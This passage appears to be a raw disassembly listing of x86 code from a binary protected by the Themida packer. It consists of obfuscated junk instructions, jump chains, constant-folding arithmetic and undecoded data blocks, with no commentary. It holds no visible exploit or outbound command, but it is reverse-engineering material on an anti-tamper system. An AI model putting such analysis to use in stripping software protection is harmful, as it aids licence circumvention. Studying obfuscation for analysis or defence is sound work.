edi xchg edx, [esp] pop esp add esp, 4 shl dword ptr [esp], cl jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58F413: ; CODE XREF: Themida_:0058F743j add esi, 3B0A2CEAh xor esi, 37BC4C5Ch sub esi, 149A35B0h jmp loc_58DB4D ; --------------------------------------------------------------------------- loc_58F42A: ; CODE XREF: Themida_:005944C3j pop eax sub esp, 4 mov [esp], edi mov edi, 0E00398CEh sub ecx, edi jmp loc_595A83 ; --------------------------------------------------------------------------- db 29h, 0D0h, 5Ah dd 0C78A22Dh, 0C6895E14h, 8324048Bh, 740104C4h, 0E95E0424h dd 0FFFFAE76h, 8104EBC1h, 749650F3h, 3FB4E92Dh, 14890000h dd 57685124h, 591C941Fh, 0E905E9C1h, 0D6h, 1BE9E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F47E: ; CODE XREF: Themida_:00597B52j sub ebp, 836A7E70h and edi, ebp pop ebp sub edi, 63F70EB4h jmp loc_592438 ; --------------------------------------------------------------------------- dw 0E956h dd 0FC7h, 83242C8Bh, 48F04C4h, 0D3665C24h, 0E99C243Ch dd 0FFFFAE22h ; --------------------------------------------------------------------------- loc_58F4AC: ; CODE XREF: Themida_:00597111j pop ebp jmp loc_58D1B3 ; --------------------------------------------------------------------------- loc_58F4B2: ; CODE XREF: Themida_:0058C2CCj mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi pop esi xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, 22AA4433h xor edi, ecx mov ecx, [esp] jmp loc_58E1EA ; --------------------------------------------------------------------------- loc_58F4D9: ; CODE XREF: Themida_:0058D068j mov ecx, 65774FFh inc ecx jo loc_595A16 and ecx, 6CA03396h xchg edx, ecx not edx jmp loc_58B69B ; --------------------------------------------------------------------------- dd 582434FFh, 0E95E5456h, 0FFFFDFEDh ; --------------------------------------------------------------------------- loc_58F500: ; CODE XREF: Themida_:0058C24Dj mov esp, [esp] jmp loc_595E62 ; --------------------------------------------------------------------------- loc_58F508: ; CODE XREF: Themida_:00592EE0j push ecx mov ecx, 5CDD7503h add ecx, 0AD66C69Dh and ebx, ecx jmp loc_590CE7 ; --------------------------------------------------------------------------- loc_58F51B: ; CODE XREF: Themida_:0058B041j mov esi, 1 mov ebx, esi pop esi sub esp, 4 jmp loc_597577 ; --------------------------------------------------------------------------- loc_58F52E: ; CODE XREF: Themida_:0058C392j pop ecx jmp loc_58F1D3 ; --------------------------------------------------------------------------- loc_58F534: ; CODE XREF: Themida_:0059007Fj mov edx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_591F80 ; --------------------------------------------------------------------------- dw 0BB53h dd 6B3C4DD6h, 0EB81DBF7h, 0FFFFFFFFh, 7FCEE381h, 96E90FEEh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F567: ; CODE XREF: Themida_:00590D42j sub eax, ebp mov ebp, [esp] push edi jmp loc_5932EF ; --------------------------------------------------------------------------- loc_58F572: ; CODE XREF: Themida_:00596BCCj pop ebx add edx, ebp jmp loc_590F6C ; --------------------------------------------------------------------------- loc_58F57A: ; CODE XREF: Themida_:0058E26Aj dec edx jnp loc_5953A1 dec edx jg loc_5900F4 jmp loc_58F677 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 4Dh dd 685207B4h, 216C187Ch, 0FFC23BE9h db 0FFh ; --------------------------------------------------------------------------- loc_58F59D: ; CODE XREF: Themida_:005907C6j xor edi, 443EC67Ah sub edx, 43F14273h jmp loc_58E998 ; --------------------------------------------------------------------------- loc_58F5AE: ; CODE XREF: Themida_:0058EC7Dj pop edi pop dword ptr [esp] pop dword ptr [edi+24h] loc_58F5B5: ; CODE XREF: Themida_:005944E7j sub esp, 4 jmp loc_58B690 ; --------------------------------------------------------------------------- dd offset dword_581194+55h db 0 ; --------------------------------------------------------------------------- loc_58F5C5: ; CODE XREF: Themida_:00591DF1j sub ebx, 2C425684h add ebx, esi push ebp jmp loc_58D5E1 ; --------------------------------------------------------------------------- loc_58F5D3: ; CODE XREF: Themida_:00596440j mov ah, 0E1h mov dh, 8Dh xor dh, ah pop eax xor dh, cl jmp loc_58F219 ; --------------------------------------------------------------------------- db 59h, 56h, 0BEh dd 12BA440Eh, 0FFD14BE9h db 0FFh ; --------------------------------------------------------------------------- loc_58F5ED: ; CODE XREF: Themida_:00592D40j mov edx, [esp] add esp, 4 mov ecx, ebp pop ebp mov eax, ecx push dword ptr [esp] pop ecx push 314Bh mov [esp], edx jmp loc_590522 ; --------------------------------------------------------------------------- loc_58F609: ; CODE XREF: Themida_:0058AD4Ej and ebp, 0ECD0C66h jmp loc_597634 ; --------------------------------------------------------------------------- loc_58F614: ; CODE XREF: Themida_:0058CBCCj sub ecx, 31B152B2h jmp loc_5911AA ; --------------------------------------------------------------------------- db 5Dh dd 0FFC716E9h, 0C8B66FFh, 32616824h, 14890000h, 52CDE924h dd 850F0000h, 0FFFFEB11h, 8841F480h, 0DA8658E2h, 4E9D3F6h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F64B: ; CODE XREF: Themida_:0058B7D3j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_58A6BF ; --------------------------------------------------------------------------- loc_58F65B: ; CODE XREF: Themida_:0058B421j sub ebx, esi pop esi mov ebp, [esp] add esp, 4 sub ebx, 76F94A30h sub ebx, eax add ebx, 76F94A30h jmp loc_5923FF ; --------------------------------------------------------------------------- loc_58F677: ; CODE XREF: Themida_:0058F588j ; Themida_:00594006j push 30EAh mov [esp], edx push 170115Fh pop edx push 171115Fh mov ecx, [esp] push edx jmp loc_59775B ; --------------------------------------------------------------------------- loc_58F693: ; CODE XREF: Themida_:0058B31Cj push ecx mov ecx, 1 and eax, ecx jmp loc_594144 ; --------------------------------------------------------------------------- loc_58F6A0: ; CODE XREF: Themida_:00591B3Ej jz loc_58CB26 sub edx, 7C198C65h jmp loc_597B29 ; --------------------------------------------------------------------------- loc_58F6B1: ; CODE XREF: Themida_:0058D8BEj jmp loc_58FE55 ; --------------------------------------------------------------------------- dw 0F381h dd 3D0C1D82h, 8BDA0158h, 8956241Ch, 4C681E6h, 83000000h dd 348704C6h, 14335C24h, 24143124h, 5C241433h, 24048B66h dd 1D68E9h, 0CD015E00h, 73C4E959h, 0D8F70000h, 5305E0C1h dd 0DBFB67BBh, 5BD831EDh, 0E958C529h, 3A1Ch ; --------------------------------------------------------------------------- loc_58F704: ; CODE XREF: Themida_:005919B8j shr ebx, 2 neg ebx push ecx mov ecx, 4E0C059Ah sub ecx, 1 dec ecx push ebp mov ebp, 1A5AFFD5h add ecx, ebp jmp loc_592469 ; --------------------------------------------------------------------------- loc_58F720: ; CODE XREF: Themida_:0059051Dj sub bl, dl pop edx add bl, al add bl, 48h push edx push eax jmp loc_59229D ; --------------------------------------------------------------------------- loc_58F72F: ; CODE XREF: Themida_:loc_59791Cj neg ecx jmp loc_595365 ; --------------------------------------------------------------------------- loc_58F736: ; CODE XREF: Themida_:00593381j push 15A0h mov [esp], esi mov esi, 32694EF8h jmp loc_58F413 ; --------------------------------------------------------------------------- loc_58F748: ; CODE XREF: Themida_:0058B090j pop edx push ebx jmp loc_58C584 ; --------------------------------------------------------------------------- db 51h dd 1DD4E9h db 0 ; --------------------------------------------------------------------------- loc_58F755: ; CODE XREF: Themida_:00592441j sub edi, 152347F4h jmp loc_5930F5 ; --------------------------------------------------------------------------- loc_58F760: ; CODE XREF: Themida_:00592810j sub ecx, 2772EBF7h and ecx, 3A3D56A7h add ecx, 3404EA63h jmp loc_58BAFA ; --------------------------------------------------------------------------- db 80h dd 0F12062C6h, 0E9C9FE5Ah, 0FFFFB135h ; --------------------------------------------------------------------------- loc_58F784: ; CODE XREF: Themida_:0058DD9Bj sub eax, edi pop edi sub ecx, 9B24B80h jmp loc_592F04 ; --------------------------------------------------------------------------- dw 60B8h dd 0E901D406h, 0FFFFD996h ; --------------------------------------------------------------------------- loc_58F79C: ; CODE XREF: Themida_:0058E0A3j mov dx, [esp] jmp loc_5971F4 ; --------------------------------------------------------------------------- loc_58F7A5: ; CODE XREF: Themida_:0058BFDEj ; Themida_:00594801j mov edi, [esp] add esp, 4 add ebx, 4 xor ebx, [esp] jmp loc_591FFD ; --------------------------------------------------------------------------- loc_58F7BC: ; CODE XREF: Themida_:0058CAD5j mov [esp], edx push ebp mov ebp, 0A0A2104h shr ebp, 7 push edi push edx push ecx push 111E12D4h pop ecx shr ecx, 8 add ecx, 5B374AF2h mov edx, ecx pop ecx jmp loc_58DC87 ; --------------------------------------------------------------------------- loc_58F7E2: ; CODE XREF: Themida_:0058C4FAj pop ebx jmp loc_58A919 ; --------------------------------------------------------------------------- dd 0FFAAE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_58F7ED: ; CODE XREF: Themida_:0058AFD6j pop ecx pop esi and eax, ebx jmp loc_597A63 ; --------------------------------------------------------------------------- dw 15Fh dd 0AC67E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F7FE: ; CODE XREF: Themida_:0058DD41j pop esi push ecx mov ecx, 79E56337h or ecx, 7BE60B29h xor ecx, 60CF03D6h push esi jmp loc_58D1A1 ; --------------------------------------------------------------------------- db 4Eh dd 0E904EC83h, 7412h ; --------------------------------------------------------------------------- loc_58F820: ; CODE XREF: Themida_:0058D3CFj push 359Ah jmp loc_5953D4 ; --------------------------------------------------------------------------- dw 0D7F6h dd 16FEE9h db 0 ; --------------------------------------------------------------------------- loc_58F831: ; CODE XREF: Themida_:00591243j jmp loc_58DB75 ; --------------------------------------------------------------------------- loc_58F836: ; CODE XREF: Themida_:0059760Ej push ebx mov ebx, esp push 1673h mov [esp], eax jmp loc_58ECE2 ; --------------------------------------------------------------------------- dw 0D3F7h dd 2DDDC381h, 830F41EAh, 601h, 87ABEB81h, 31E92963h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F85F: ; CODE XREF: Themida_:0058CEF8j add al, 0D5h jmp loc_5950C1 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 8304C483h, 48F04C4h, 0D3665C24h, 0E99C2424h dd 0FFFFAA4Eh, 8924248Bh, 23B62414h, 0B551C72Ch, 1F05E9ABh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F892: ; CODE XREF: Themida_:0058AAD7j ; Themida_:0058BD97j push eax push esp pop eax jmp loc_598028 ; --------------------------------------------------------------------------- loc_58F89A: ; CODE XREF: Themida_:00593354j mov edi, 41857CC7h sub edi, 6015400Fh sub edi, 75D5FDB1h add ebp, 21E10BF1h add ebp, edi sub ebp, 21E10BF1h pop edi pop edi xchg ebp, [esp] jmp loc_5907CB ; --------------------------------------------------------------------------- loc_58F8C3: ; CODE XREF: Themida_:0058F3F5j add esp, 4 jmp loc_596655 ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 5CB0E924h, 0E7C10000h, 40F78102h, 8169F64Ch dd 552E4BEFh, 244481BCh, 0EC0BCA08h, 29C6E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F8F2: ; CODE XREF: Themida_:00592ED3j add esp, 4 jmp loc_58EC6C ; --------------------------------------------------------------------------- dw 1768h dd 8B6D3F79h, 0C481242Ch, 4, 8102E5C1h, 58E962F5h, 75F3E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F916: ; CODE XREF: Themida_:00592FFBj push edi mov edi, 1A1D0207h sub edi, 0EFE6DBD5h jmp loc_58C673 ; --------------------------------------------------------------------------- loc_58F927: ; CODE XREF: Themida_:0058C5E3j shr eax, 2 jnp loc_591961 jmp loc_58A689 ; --------------------------------------------------------------------------- db 5Eh, 5Dh, 1 dd 0DD8B2404h, 0B8508CB4h, 4A2F1122h, 8E9D0F7h, 87FFFFE5h dd 0E95C2414h, 0FFFFDE34h ; --------------------------------------------------------------------------- loc_58F954: ; CODE XREF: Themida_:0058D28Ej pop esi or eax, eax jz loc_595DFB push 3E0Ah mov [esp], edx push ebx push 51A44F84h jmp loc_58D526 ; --------------------------------------------------------------------------- loc_58F970: ; CODE XREF: Themida_:0058C17Fj mov ebx, 55B82FCCh sub ebx, 5CCD7ADBh jp loc_58E507 neg ebx xor ebx, 7154B0Bh jmp loc_596BCA ; --------------------------------------------------------------------------- dw 32FFh dd 0FFA939E9h, 248B66FFh, 0A930E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F99E: ; CODE XREF: Themida_:00591792j add esp, 4 xor esi, ecx push dword ptr [esp] jmp loc_595BE2 ; --------------------------------------------------------------------------- dw 870Fh dd 0FFFFEDB9h, 8106EFC1h, 0E80F89EFh, 56EF8A71h, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 4B850h, 0C1810000h, 17AA6E21h dd 7F40E9h db 0 ; --------------------------------------------------------------------------- loc_58F9E1: ; CODE XREF: Themida_:0058B4D1j pop esi sub ebx, edi pop edi shr ebx, 1 sub ebx, 0D1735182h add eax, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_58E77B ; --------------------------------------------------------------------------- db 53h, 52h, 0B6h dd 0B5EE8002h, 6EC38F0Fh, 0E6C00000h, 3E6C003h, 0DE8BC488h ; --------------------------------------------------------------------------- loc_58FA20: ; CODE XREF: Themida_:00595A20j xchg edx, ecx jmp loc_5923CB ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD359h, 0C917E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FA36: ; CODE XREF: Themida_:00591BE1j add esp, 4 add eax, edi pop edi xor ecx, eax pop eax push ebx jmp loc_58D99C ; --------------------------------------------------------------------------- db 81h, 0EBh, 0E6h dd 9152F0Eh, 0BC32E9DAh, 0EFB7FFFFh, 0FFC186E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FA59: ; CODE XREF: Themida_:0059334Cj not ebp xchg ebp, ecx jmp loc_595B92 ; --------------------------------------------------------------------------- dw 814Dh dd 3924F7CDh, 60C5817Fh, 816E616Ah, 9A995BF5h, 0D4B3E9EDh dd 0C8BFFFFh, 16086824h, 4890000h, 6D26824h, 24890000h dd 24048324h, 24048B04h, 4C481h, 0BD550000h, 6ECF6D6Ch dd 14A7ED81h, 0ED810089h, 325F4BD7h, 0FFE88EE9h, 0C8B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 4CEA5FA3h dec ecx neg ecx neg ecx xor ecx, 4CEA5FA6h add ebp, ecx pop ecx jmp loc_58A629 ; --------------------------------------------------------------------------- loc_58FAD1: ; CODE XREF: Themida_:00593505j add esi, 0DC354A61h jmp loc_594AFD ; --------------------------------------------------------------------------- dd 4C5815Dh, 51000000h, 2727EB9h, 8E1C11Ah, 0AE62880Fh dd 0E181FFFFh, 70794FC8h, 14B7E9h, 0D2EF8100h, 5830982Dh dd 4261E9h, 8ABF5700h, 0E93B6C2Eh, 62B5h, 4240481h, 0FF000000h dd 44E92434h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58FB23: ; CODE XREF: Themida_:0058D615j mov edx, edi pop edi jmp loc_595BF2 ; --------------------------------------------------------------------------- db 53h dd 4F098FBBh, 0F7F38713h, 60C7E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FB3A: ; CODE XREF: Themida_:0059112Bj push 6D98h mov [esp], ecx jmp loc_58BE3C ; --------------------------------------------------------------------------- loc_58FB47: ; CODE XREF: Themida_:00592258j ; Themida_:005947F0j push 444Fh push esp jmp loc_58FFA2 ; --------------------------------------------------------------------------- dw 0D831h dd 0FFBA33E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FB59: ; CODE XREF: Themida_:0058D182j add cl, 0F9h mov bh, cl push dword ptr [esp] jmp loc_58D24D ; --------------------------------------------------------------------------- loc_58FB66: ; CODE XREF: Themida_:00596CF1j shl ebp, 3 not ebp add ebp, 5B9118BAh sub ebp, 32077BB1h add edx, ebp jmp loc_597961 ; --------------------------------------------------------------------------- loc_58FB7E: ; CODE XREF: Themida_:00595AB5j add ebx, esi pop esi jmp loc_59596D ; --------------------------------------------------------------------------- loc_58FB86: ; CODE XREF: Themida_:0058E455j add bl, 3Bh jmp loc_5921E7 ; --------------------------------------------------------------------------- dw 0C601h dd 4333C681h, 0EE816CBFh, 4E855C38h, 15CC681h, 0E0683955h dd 89000050h, 31E92414h, 81FFFFDEh, 4E9h, 0DCC0E900h, 895CFFFFh dd 0E189240Ch, 4C181h, 0C1830000h, 240C8704h, 0E79685Ch dd 0B8E90000h, 0B9000008h, 1A247190h, 0C181D1F7h, 78DB56D1h dd 6497E9h, 48B6600h, 0E7895724h, 4C781h, 0EC830000h, 24148904h dd 6C71BF57h, 0C1E90529h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FC07: ; CODE XREF: Themida_:0058BEE8j xor esi, edi mov edi, [esp] add esp, 4 add eax, esi pop esi jmp loc_593495 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 3AE9F888h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FC27: ; CODE XREF: Themida_:0058ECAAj ; Themida_:00596CEAj add edi, ebx pop ebx xor edi, [esp] jmp loc_58BB94 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC81240Ch, 4, 0E9242C89h, 0FFFFDC5Ah, 363EC181h, 0C38107BFh dd 29745327h, 0EB81CB29h, 29745327h, 0E9240C8Bh, 0FFFFE140h dd 0EC835552h, 24048904h, 0F13FA8B8h, 74C0E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FC72: ; CODE XREF: Themida_:0058D1C4j pop ebp xchg ebx, [esp] mov esp, [esp] mov [esp], dx jmp loc_590FFA ; --------------------------------------------------------------------------- loc_58FC82: ; CODE XREF: Themida_:0058A5B4j pop ebx pop esi add ebx, eax pop eax push edx push edi mov edi, 6B5762Eh jmp loc_58DC29 ; --------------------------------------------------------------------------- loc_58FC93: ; CODE XREF: Themida_:00590369j xor edx, 47F78C97h mov edi, edx mov edx, [esp] add esp, 4 shl edi, 3 jns loc_592DFF shr edi, 6 jmp loc_58BD1E ; --------------------------------------------------------------------------- loc_58FCB2: ; CODE XREF: Themida_:00591EBAj pop edi dec ebx sub ebx, 0D413CFEh add ecx, ebx jmp loc_58C243 ; --------------------------------------------------------------------------- loc_58FCC1: ; CODE XREF: Themida_:00590218j dec eax push ebx mov ebx, 1 sub eax, ebx jmp loc_5914C9 ; --------------------------------------------------------------------------- loc_58FCCF: ; CODE XREF: Themida_:005909F9j jmp loc_58EC9E ; --------------------------------------------------------------------------- loc_58FCD4: ; CODE XREF: Themida_:005967EBj add esp, 4 push ebx mov ebx, 7EA356BEh xor ebx, 7EA356BAh add ebp, ebx mov ebx, [esp] add esp, 4 push eax mov eax, 4 add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_58B1C5 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0BCh dd 0E9168671h, 5B0Dh, 8108EBC1h, 1A65C5F3h, 0A7E95702h dd 0E9FFFFAFh, 0FFFFA5A6h ; --------------------------------------------------------------------------- loc_58FD28: ; CODE XREF: Themida_:005962E3j ; Themida_:00596E51j xor [esp], edi xor edi, [esp] pop esp push 4D6Dh jmp loc_5923C1 ; --------------------------------------------------------------------------- loc_58FD39: ; CODE XREF: Themida_:00595BDDj mov [esp], ebx mov bh, 0C7h jmp loc_593ABC ; --------------------------------------------------------------------------- db 0B6h dd 0C3C68088h, 8D0FC6FEh, 0FFFFF0CEh, 0FA5E680h, 655885h dd 34505300h db 89h, 8Bh, 0F8h ; --------------------------------------------------------------------------- loc_58FD5F: ; CODE XREF: Themida_:0058D577j push 6865h mov [esp], eax push 5FBh mov [esp], ecx sub esp, 4 mov [esp], eax jmp loc_58ED1E ; --------------------------------------------------------------------------- loc_58FD7A: ; CODE XREF: Themida_:0059250Ej add esp, 4 shr ecx, 6 push 416Ch mov [esp], ebx push dword ptr [esp] jmp loc_5943CC ; --------------------------------------------------------------------------- loc_58FD90: ; CODE XREF: Themida_:00591AC4j jmp loc_58C605 ; --------------------------------------------------------------------------- loc_58FD95: ; CODE XREF: Themida_:0058BA8Fj xchg ecx, [esp] pop esp add esp, 4 jmp loc_58A2CE ; --------------------------------------------------------------------------- db 81h, 0CBh, 27h dd 0F3D7647h, 0FFDF288Ah, 3AEB81FFh, 0E9CF1CFBh, 0FFFFBBCBh dd 0C3815856h, 4F21282Ch, 0EB81C329h, 4F21282Ch, 3BCBE9h dd 42EB8100h, 1325218h, 0E311E9DAh, 1489FFFFh, 33826824h dd 15A65D2h, 0D3DE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FDEA: ; CODE XREF: Themida_:005940EEj neg ebp push edx mov edx, 51DF2AFEh jmp loc_5949BA ; --------------------------------------------------------------------------- loc_58FDF7: ; CODE XREF: Themida_:0058C712j pop edi xchg esi, [esp] pop esp jmp loc_58FFBA ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 55000000h, 0ECDEE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FE0E: ; CODE XREF: Themida_:0059408Bj push edi jmp loc_58B128 ; --------------------------------------------------------------------------- loc_58FE14: ; CODE XREF: Themida_:00597844j xchg ecx, [esp] mov esp, [esp] imul cx push ebx mov ebx, esp add ebx, 4 push ebp jmp loc_58BA33 ; --------------------------------------------------------------------------- dd 60045866h, 602CF800h, 1280E9h db 0 ; --------------------------------------------------------------------------- loc_58FE39: ; CODE XREF: Themida_:loc_58B3F5j shl esi, 2 jnp loc_597961 sub esi, 32A79037h mov eax, esi jmp loc_5904D1 ; --------------------------------------------------------------------------- db 53h dd 3D06E9h db 0 ; --------------------------------------------------------------------------- loc_58FE55: ; CODE XREF: Themida_:loc_58F6B1j sub ebx, 296387ABh jmp loc_594476 ; --------------------------------------------------------------------------- loc_58FE60: ; CODE XREF: Themida_:0058E80Bj jle loc_58E6B9 push ebp mov ebp, 148664h jmp loc_58DB4D ; --------------------------------------------------------------------------- db 83h, 0C2h, 4 dd 5C241487h, 5604C483h, 0C681E689h, 4, 8704C683h, 835C2434h dd 148904ECh, 2BAEBA24h, 44811F37h, 13750424h, 6C812C9Bh dd 5C5A0424h, 54015E36h, 55510424h, 3B679BBDh, 0D443E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FEB6: ; CODE XREF: Themida_:005909AFj pop esp push esi push 33CD15BDh pop esi add ecx, 0A575744h jmp loc_58A42B ; --------------------------------------------------------------------------- loc_58FEC9: ; CODE XREF: Themida_:loc_5933C2j sub ecx, 0FFE6DEC0h add ecx, edx sub esp, 4 jmp loc_596F09 ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 0B4h dd 0E9FFFFEAh, 0FFFFB2A1h, 793EEA81h, 805C0BF8h, 0E8282CEDh dd 3ECEE9h db 0 ; --------------------------------------------------------------------------- loc_58FEF5: ; CODE XREF: Themida_:0058A410j shr eax, 0Eh xor eax, ecx push 10BFh mov [esp], eax xchg ebp, [esp] not ebp xchg ebp, [esp] push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebx mov ebx, esp add ebx, 4 push edi mov edi, 2A8F504Dh inc edi sub edi, 8407E49h or edi, 78F95CF5h not edi not edi push eax mov eax, 7AFFDEF1h xor edi, eax jmp loc_58CCEF ; --------------------------------------------------------------------------- loc_58FF50: ; CODE XREF: Themida_:00597E68j add esp, 4 or eax, eax jz loc_590010 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], ebp push 1E0E78C8h mov ebp, [esp] add esp, 4 xor [esp+4], ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_592091 ; --------------------------------------------------------------------------- loc_58FF8A: ; CODE XREF: Themida_:00596662j pop dword ptr [esp] pop esp push 1D0Fh mov [esp], esp add dword ptr [esp], 4 jmp loc_590A34 ; --------------------------------------------------------------------------- loc_58FFA2: ; CODE XREF: Themida_:0058FB4Dj pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop eax add esp, 4 push edx push ebp jmp loc_591339 ; --------------------------------------------------------------------------- loc_58FFBA: ; CODE XREF: Themida_:0058FDFCj pop ecx push ebx push 550D2F7Bh pop ebx jmp loc_58ED09 ; --------------------------------------------------------------------------- db 66h dd 66C8B60Fh, 0FBE99C51h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FFD3: ; CODE XREF: Themida_:0058CEB4j push dword ptr [esp] jmp loc_595F7D ; --------------------------------------------------------------------------- loc_58FFDB: ; CODE XREF: Themida_:00595E31j xchg edx, ecx shl ecx, 8 shr ecx, 1 push eax mov eax, 5A692F87h xor eax, 61398934h jmp loc_592E94 ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 8924248Bh, 9C502414h, 0FFF7E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_590005: ; CODE XREF: Themida_:00595CF8j add ebx, eax jmp loc_58EF1B ; --------------------------------------------------------------------------- loc_59000C: ; CODE XREF: Themida_:005972C9j xchg ebx, [esp] pop esp loc_590010: ; CODE XREF: Themida_:0058FF55j push ebx sub esp, 4 mov [esp], esi push edi mov edi, 7D233EFAh mov esi, 320F38B9h xor esi, edi pop edi push esi mov esi, 227839F0h sub [esp+8], esi pop esi add dword ptr [esp+4], 6EEF6293h sub [esp+4], esi sub dword ptr [esp+4], 6EEF6293h add dword ptr [esp+4], 227839F0h pop esi push dword ptr [esp] jmp loc_58DD16 ; --------------------------------------------------------------------------- dd 6FE9028Fh db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59005F: ; CODE XREF: Themida_:0059331Bj push esi mov esi, 475BDE3Eh sub eax, esi jmp loc_58AF30 ; --------------------------------------------------------------------------- dd 0E715E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590072: ; CODE XREF: Themida_:0059708Cj mov [esp], esi mov esi, 4 mov edx, esi pop esi add ebp, edx jmp loc_58F534 ; --------------------------------------------------------------------------- dd 4C82EB81h, 3FE95FBBh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59008F: ; CODE XREF: Themida_:0058ED13j push 67D8h mov [esp], edx jmp loc_5916AF ; --------------------------------------------------------------------------- loc_59009C: ; CODE XREF: Themida_:00596381j mov ebp, esp push 686h mov [esp], eax mov eax, 62141B4Fh sub eax, 73AF0838h push ebx mov ebx, 119AECEDh add eax, ebx mov ebx, [esp] add esp, 4 add ebp, eax mov eax, [esp] add esp, 4 push edi push esi push ebp mov ebp, 2BBB7847h jmp loc_58C7D6 ; --------------------------------------------------------------------------- loc_5900D6: ; CODE XREF: Themida_:005911CAj push 1ABF2115h mov ecx, [esp] jmp loc_59388D ; --------------------------------------------------------------------------- db 0BEh dd 37FC484Ch, 4641252Dh, 0E9F0017Bh, 9A8h ; --------------------------------------------------------------------------- loc_5900F4: ; CODE XREF: Themida_:0058F582j jmp loc_59674C ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 4Dh dd 4D04E5C1h, 94CFED81h, 72054DB4h, 1055E6Dh, 0ACBF57E8h dd 0E97D061Bh, 5B59h ; --------------------------------------------------------------------------- loc_590118: ; CODE XREF: Themida_:005946D6j neg edi shr edi, 1 add edi, 9F123D6Fh sub eax, edi pop edi pop ebp mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 2326h mov [esp], ecx sub esp, 4 mov [esp], ebp mov ebp, 570214FDh push ebp pop ecx pop ebp shr ecx, 2 push eax mov eax, 4F821D40h jmp loc_596FF5 ; --------------------------------------------------------------------------- loc_590163: ; CODE XREF: Themida_:00595CD6j jmp loc_58A2CE ; --------------------------------------------------------------------------- dd 46E5814Dh, 4D0A7819h, 79D1F581h, 0E801084Dh, 24148B5Dh dd 4C481h, 1D680000h, 8900005Ch, 15E9241Ch db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59018F: ; CODE XREF: Themida_:0059055Bj add cl, 35h sub dl, cl pop ecx mov eax, [esp] add esp, 4 add bl, 0A7h sub bl, 8Dh sub bl, dl add bl, 8Dh sub bl, 0A7h pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_58A2CE ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4050000h, 87000000h, 515C2404h, 268h, 240C8B00h, 104C483h dd 143359CAh, 24143124h, 8B241433h, 4002424h, 0E7E99C24h dd 0FFFFFFA0h, 669D1C77h, 4196658h, 0D7E99C24h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5901F7: ; CODE XREF: Themida_:0058A80Cj pop edx add ebp, 6BD47F93h jo loc_592503 xor ebp, 81576044h and ecx, ebp mov ebp, [esp] mov bl, cl mov ecx, edx mov eax, 24AD0CC5h jmp loc_58FCC1 ; --------------------------------------------------------------------------- aSc db '[ιc,',0 dw 5D00h dd 42FEF581h, 0F5816D9Eh, 0EF9624EFh, 55DEF01h, 7A0D0A50h dd 822222Dh, 53F82922h, 0B32E5DBBh, 3DBF5753h, 81707453h dd 8415FACFh, 0C7814715h, 0FE3E2599h, 0C15FFB29h, 0EB8105E3h dd 0CE0DF65Eh, 2D5BD801h, 7A0D0A50h, 6850575Fh, 76925241h dd 37233558h, 0C7895DB9h, 4AD78758h, 162CE9h, 81D7F700h dd 8CF291EFh, 5FFD01E5h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 2BE2434h, 1000000h, 0BA4DE9F5h, 0D001FFFFh dd 3C3ABD55h, 0F9E947F8h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- 